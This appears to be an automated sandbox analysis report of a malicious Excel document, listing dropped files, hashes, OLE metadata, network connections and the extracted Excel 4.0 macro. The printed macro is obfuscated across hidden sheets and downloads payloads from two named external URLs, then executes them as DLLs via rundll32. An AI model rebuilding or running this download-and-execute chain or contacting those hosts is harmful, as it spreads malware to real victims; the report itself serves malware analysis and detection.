Preview:	MSCF....\.......,...................I........l.........R.q .authroot.stl.N....5..CK..8T....c_.d....A.K....=.D.eWI..r."Y...."i..,.=.l.D.....3...3WW.......y...9..w..D.yM10....`.0.e.._.'..a0xN....)F.C..t.z.,.O20.1``L.....m?H..C..X>Oc..q.....%.!^v%<...O...-..@/.......H.J.W...... T...Fp..2.\|$....._Y..Y`&..s.1........s.{..,.":o}9.......%._.xWS.K..4"9......q.G:.........a.H.y.. ..r...q./6.p.;.`=.Dwj......!......s).B..y.......A.!W.........D!s0..!"X...l.....D0...........Ba...Z.0.o..l.3.v..W1F hSp.S)@.....'Z..QW...G...G.G.y+.x...aa`.3..X&4E..N...._O..<X.......K...xm..+M...O.H...)............o..~4.6.......p.`Bt.(..V.N.!.p.C>..%.ySXY.>.`..f\|....'^K`\..e......j/..\|..)..&i...wEj.w...o..r<.$.....C.....}.x...L..&..).r..\...>....v........7...^..L!.$..'m...,.....7F$..~..S.6$S.-y....\|.!.....x...~k...Q/.w.e...h.[...9<x...Q.x.][}_%Z..K.).3..'....M.6QkJ.N........Y..Q.n.[.(.... ...Bg..33..[...S..[... .Z..<i.-.]...po.k.,...X6......y3^.t[.Dw.]ts. R..L..`..ut_F....

C:\Users\user\AppData\Local\Temp\TarD3B6.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	158974
Entropy (8bit):	6.311775051607851
Encrypted:	false
SSDEEP:	1536:ilqXley2pR737/99UF210gNucQodv+1//dMrYJntYyjCQx7s2t6OGP:iQXipR7O/gNuc/v+lXjCQ7sO0
MD5:	E4731F8A3E7352DBA44EC7D3DD15BAEA
SHA1:	D5CA0025FBD356DEB8EDE35001F93039625562A5
SHA-256:	6C78EF77ACEF978321CCD30EE126FB7D30285BC186DDBDBE8B3E8F6E69D01353
SHA-512:	E68BA11A73E28404A274F0EE4ECC97A8BEFEDB91A20BDC5B00C72AE8928DD63924E351BE8A88E40960D54CE07E21EA21710DB0DFA00A5558C4264490E27B6988
Malicious:	false
Preview:	0..l....H.........l.0..l....1.0...`.H.e......0..\...+.....7.....\.0..\.0...+.....7........_.T.....210611210413Z0...+......0..\.0.......`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Sun May 30 23:40:37 2021, atime=Sun May 30 23:40:37 2021, length=16384, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.47188861989318
Encrypted:	false
SSDEEP:	12:85QapSLgXg/XAlCPCHaXgzB8IB/YOUpvX+Wnicvb483+bDtZ3YilMMEpxRljKMTg:85BW/XTwz6I+OeYe7CDv3qBrNru/
MD5:	F6CB0636A61B6677DB175EAB2729313C
SHA1:	CD6C7366FEE018D85A9E30EFE4C3C07C78D1F7D0
SHA-256:	C22D9BCFD7B727AB047457EF656C6D998921191BAA002702A3131D31CC6F811E
SHA-512:	5A65C2E0258F6328C477D340D1022F93C6256B4241E53AD47C1432087758C139E6839EEDA7A0E7A2C0EA5A265F6D4B21BCA3BB3F1A88114066B209D87A6D6221
Malicious:	false
Preview:	L..................F...........7G...3t.Hm...3t.Hm...@......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......R....Desktop.d......QK.X.R....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\927537\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......927537..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	113
Entropy (8bit):	4.71317481637129
Encrypted:	false
SSDEEP:	3:oyBVomMnUTWeS4UOytUTWeS4UmMnUTWeS4Uv:dj6nUTL8tUTLinUTLK
MD5:	827572951026F0F9437E31D866B8FF08
SHA1:	0B6A363D618B5E1D031EE6E5DCE5C18A9B13BBE6
SHA-256:	493A258224290D5C5BB92DC4C57E3B8E36D4BE213CC9F3744D69D345F03B843B
SHA-512:	F224FE824B181BEA88A282AFDD4528CF59F8952BD571C595AC6E6E3F2E7E9FA499B9E8FC5DE623B02501C0D341A82B3A7053B7550746CA36CDC6EBF1FBA662DB
Malicious:	false
Preview:	Desktop.LNK=0..[xls]..statistic-1496367785.LNK=0..statistic-1496367785.LNK=0..[xls]..statistic-1496367785.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\statistic-1496367785.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:13 2020, mtime=Sun May 30 23:40:37 2021, atime=Sun May 30 23:40:37 2021, length=173056, window=hide
Category:	dropped
Size (bytes):	2128
Entropy (8bit):	4.526584572036177
Encrypted:	false
SSDEEP:	48:8tl/XT3IkdPWf2BQh2tl/XT3IkdPWf2BQ/:8r/XLIkVWf2BQh2r/XLIkVWf2BQ/
MD5:	EAE54A6709DFE2966EF10CC1E73A3345
SHA1:	3EB62EF39E7F1925E6AED8B9197596770CF6ADD1
SHA-256:	367542B6A9E110DD6525E6A474419B03BB4F9C790655EEF1A755110759F0EBD7
SHA-512:	BA3A506FA4B1271C9CC1BCE225AEB95D445227A4271EC300A2456A261A680BC69BF6AC2539C2EBAAF124390D666D7CC831322F000E787467E5AE77FEE2F0D09D
Malicious:	false
Preview:	L..................F.... ....I<..{...3t.Hm...>..Hm...............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....z.2......R.. .STATIS~1.XLS..^.......Q.y.Q.y...8.....................s.t.a.t.i.s.t.i.c.-.1.4.9.6.3.6.7.7.8.5...x.l.s.......................-...8...[............?J......C:\Users\..#...................\\927537\Users.user\Desktop\statistic-1496367785.xls./.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.s.t.a.t.i.s.t.i.c.-.1.4.9.6.3.6.7.7.8.5...x.l.s.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......927537..........D_..

C:\Users\user\Desktop\7BCE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Applesoft BASIC program data, first line number 16
Category:	dropped
Size (bytes):	199869
Entropy (8bit):	5.724666600105969
Encrypted:	false
SSDEEP:	6144:d8rmdAIByzElbSRg3WCbgBeP5NmPTdmsizCEadEudQ6KL8rmdAIByzElbSRg3WCX:cLEadnd+h
MD5:	7CEED140B26A2DDA4FCB7BD954F211CF
SHA1:	4D2AF9F747412365FBB0CB4C235AD669C67006A9
SHA-256:	7C074CAFC1D4A9E6EE817FDB3FBB247D0506EBD57D9FAE98A208A963F3BE1F5E
SHA-512:	FBC90CC3979309D02AE544AECDBAD10B5BA00FA920EA854CF03A1E36CC4A3A674418CD5DA0F551B7922FBE95D0D8B08881B02F764DAB7E15B359708985800CFA
Malicious:	false
Preview:	........g2..........................\.p....user B.....a.........=...............................................=........K..8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......6...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1.*.h...6...........C.a.l.i.b.r.i. .L.i.g.h.t.1...,...6...........C.a.l.i.b.r.i.1.......6...........C.a.l.i.b.r.i.1.......6...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: van-van, Last Saved By: Grog, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:17:20 2015, Last Saved Time/Date: Fri May 21 09:07:02 2021, Security: 0
Entropy (8bit):	2.0857713013138395
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	statistic-1496367785.xls
File size:	536064
MD5:	7fb48e03b899f792be6c3118a46c5c8f
SHA1:	55445d13cd433121c6c2bfb31414b08e31e28a65
SHA256:	1c818433e1ca49729f987b3f060b2133c8375f8164181c4684600a278ee6033f
SHA512:	e950fe3278277996dbfb9f7f80bd03976793ba4967f272612f901eea83e1284a512104348ab14d3028dcac0ef9cd527dde9ce22323c90fa080fae3fcdc79905f
SSDEEP:	6144:C6tIrWqrY5O3NMHGRYc9u/YRTP85XbDu1XYiXxy:Ru1XPE
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "statistic-1496367785.xls"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	False

Summary
Code Page:	1251
Author:	van-van
Last Saved By:	Grog
Create Time:	2015-06-05 18:17:20
Last Saved Time:	2021-05-21 08:07:02
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Document Code Page:	1251
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.298297266065
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . 0 . . . . . . . 8 . . . . . . . @ . . . . . . . H . . . . . . . t . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c 1 . . . . . D o c 2 . . . . . D o c 3 . . . . . D o c 4 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . . . . . . . . . . E x c e l 4 . 0 M a c r o s . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 b8 00 00 00 05 00 00 00 01 00 00 00 30 00 00 00 0b 00 00 00 38 00 00 00 10 00 00 00 40 00 00 00 0d 00 00 00 48 00 00 00 0c 00 00 00 74 00 00 00 02 00 00 00 e3 04 00 00 0b 00 00 00 00 00 00 00 0b 00 00 00 00 00 00 00 1e 10 00 00 04 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.277521975637
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . v a n - v a n . . . . . . . . . G r o g . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . x s . . . . . @ . . . . . . G . N . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00

Stream Path: Book, File Type: Applesoft BASIC program data, first line number 8, Stream Size: 521856

General
Stream Path:	Book
File Type:	Applesoft BASIC program data, first line number 8
Stream Size:	521856
Entropy:	2.01072652781
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . T . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . G r o g B . . . . . . . . . . . . . . . . . . . . . . . D o c 4 . . . . . . . . . . . . . . . . . . _ x l f n . A G G R E G A T E . . . . . . . . . . . . . . . . . . . . _ x l f n . F . I N V . R T . . . . ! . . . . .
Data Raw:	09 08 08 00 00 05 05 00 0a 54 cd 07 e1 00 00 00 c1 00 02 00 00 00 bf 00 00 00 c0 00 00 00 e2 00 00 00 5c 00 70 00 04 47 72 6f 67 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

,,,"=WORKBOOK.HIDE(""Doc2"",1)",,,,,,"=WORKBOOK.HIDE(""Doc3"",1)",,,,,,"=WORKBOOK.HIDE(""Doc4"",1)",,,=BA17(),,,"=FORMULA(""U""&Doc2!BL28&Doc2!BL29&Doc2!BL30,Doc3!AY10)=RAND()=FACT(59)=FORMULA(Doc2!BJ39&before.4.4.52.sheet!BD17&Doc2!BJ43&Doc3!AY10&Doc2!BJ41&Doc2!BJ42&Doc2!BJ41&Doc3!AY11&Doc2!BJ41&Doc2!BJ42&Doc2!BJ41&Doc3!AY12&Doc2!BJ41&Doc2!BJ45&Doc2!BJ42&Doc2!BJ41&Doc3!AY13&Doc2!BJ41&Doc2!BJ42&Doc2!BJ41&Doc2!BI24&Doc2!BJ41&Doc2!BJ45&Doc2!BJ45&Doc2!BJ44,Doc3!AW10)=SUMXMY2(452354,45245)",,,,,,"=FORMULA(Doc2!BJ39&before.4.4.52.sheet!BD17&Doc2!BJ43&Doc3!AY10&Doc2!BJ41&Doc2!BJ42&Doc2!BJ41&Doc3!AY11&Doc2!BJ41&Doc2!BJ42&Doc2!BJ41&Doc3!AY12&Doc2!BJ41&Doc2!BJ45&Doc2!BJ42&Doc2!BJ41&Doc3!AY14&Doc2!BJ41&Doc2!BJ42&Doc2!BJ41&Doc2!BI24&""1""&Doc2!BJ41&Doc2!BJ45&Doc2!BJ45&Doc2!BJ44,Doc3!AW11)",,,,,,=GOTO(Doc3!AW8),,,"=FORMULA(""=""&Doc2!BG29&Doc2!BG36&Doc2!BG37&Doc2!BG38&Doc2!BG39&""2 ""&Doc2!BI24&Doc2!BG41&Doc2!BG42&Doc2!BG43&Doc2!BG44&Doc2!BG33,Doc3!AW14)",,,,,,"=FORMULA(""=""&Doc2!BG29&Doc2!BG36&Doc2!BG37&Doc2!BG38&Doc2!BG39&""2 ""&Doc2!BI24&""1""&Doc2!BG41&Doc2!BG42&Doc2!BG43&Doc2!BG44&Doc2!BG33,Doc3!AW15)",,,,,,,,,,,,=BD4(),,,,,,,,,,,,,,,,,,,,,CALL,,,"=FORMULA(Doc2!BH20&Doc2!BI20&Doc2!BJ20&Doc2!BK20,Doc3!AY13)",,,,,,"=FORMULA(""U""&Doc2!BL28&Doc2!BL32&Doc2!BJ31&Doc2!BL31&Doc2!BL34&Doc2!BJ32&""e""&""A"",Doc3!AY11)",,,,,,,,,,,,"=FORMULA(Doc2!BH21&Doc2!BI21&Doc2!BJ21&Doc2!BK21,Doc3!AY14)",,,,,,,,,,,,"=FORMULA(Doc2!BM34&Doc2!BM29&Doc2!BM30&Doc2!BM33,Doc3!AY12)",,,,,,=BG8(),,,,,,

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ht,tps://,psq.com.mx/hDHqOp5,8UBQv/filter.html,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ht,tps://,academy.haleemcampus.co,m/GxaCS5azoZlJ/filter.html,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,..\flamo.vir,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=,,,,,R,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,EXEC,,,0,,LM,JC,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,on,CB,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,..\bubl.cmi,,,wnl,,oadT,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,Fil,,LDo,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,""")",,,,,,B,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,o,J,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"(""r",,,,0,0,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,un,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,dll,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,3,,,=,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,",Dl",,,"""",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,lRegi,,,",",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ster,,,"(""",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,Server,,,),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,",0",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=HALT(),,,,

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 29, 2021 17:40:32.109601021 CEST	49165	443	192.168.2.22	162.241.2.112
Jun 29, 2021 17:40:32.272084951 CEST	443	49165	162.241.2.112	192.168.2.22
Jun 29, 2021 17:40:32.272279978 CEST	49165	443	192.168.2.22	162.241.2.112
Jun 29, 2021 17:40:32.281557083 CEST	49165	443	192.168.2.22	162.241.2.112
Jun 29, 2021 17:40:32.451637030 CEST	443	49165	162.241.2.112	192.168.2.22
Jun 29, 2021 17:40:32.464067936 CEST	443	49165	162.241.2.112	192.168.2.22
Jun 29, 2021 17:40:32.464092016 CEST	443	49165	162.241.2.112	192.168.2.22
Jun 29, 2021 17:40:32.464103937 CEST	443	49165	162.241.2.112	192.168.2.22
Jun 29, 2021 17:40:32.464221954 CEST	49165	443	192.168.2.22	162.241.2.112
Jun 29, 2021 17:40:32.512999058 CEST	49165	443	192.168.2.22	162.241.2.112
Jun 29, 2021 17:40:32.713113070 CEST	443	49165	162.241.2.112	192.168.2.22
Jun 29, 2021 17:40:32.713346958 CEST	49165	443	192.168.2.22	162.241.2.112
Jun 29, 2021 17:40:34.069192886 CEST	49165	443	192.168.2.22	162.241.2.112
Jun 29, 2021 17:40:34.271677017 CEST	443	49165	162.241.2.112	192.168.2.22
Jun 29, 2021 17:40:35.198796034 CEST	443	49165	162.241.2.112	192.168.2.22
Jun 29, 2021 17:40:35.198834896 CEST	443	49165	162.241.2.112	192.168.2.22
Jun 29, 2021 17:40:35.198848009 CEST	443	49165	162.241.2.112	192.168.2.22
Jun 29, 2021 17:40:35.198872089 CEST	443	49165	162.241.2.112	192.168.2.22
Jun 29, 2021 17:40:35.198888063 CEST	443	49165	162.241.2.112	192.168.2.22
Jun 29, 2021 17:40:35.198930979 CEST	49165	443	192.168.2.22	162.241.2.112
Jun 29, 2021 17:40:35.198967934 CEST	49165	443	192.168.2.22	162.241.2.112
Jun 29, 2021 17:40:35.199198961 CEST	443	49165	162.241.2.112	192.168.2.22
Jun 29, 2021 17:40:35.199251890 CEST	49165	443	192.168.2.22	162.241.2.112
Jun 29, 2021 17:40:35.200234890 CEST	49165	443	192.168.2.22	162.241.2.112
Jun 29, 2021 17:40:35.361346960 CEST	443	49165	162.241.2.112	192.168.2.22
Jun 29, 2021 17:40:35.397497892 CEST	49168	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:35.559286118 CEST	443	49168	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:35.559483051 CEST	49168	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:35.560208082 CEST	49168	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:40:35.721808910 CEST	443	49168	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:35.722783089 CEST	443	49168	108.179.232.80	192.168.2.22
Jun 29, 2021 17:40:35.722816944 CEST	443	49168	108.179.232.80	192.168.2.22
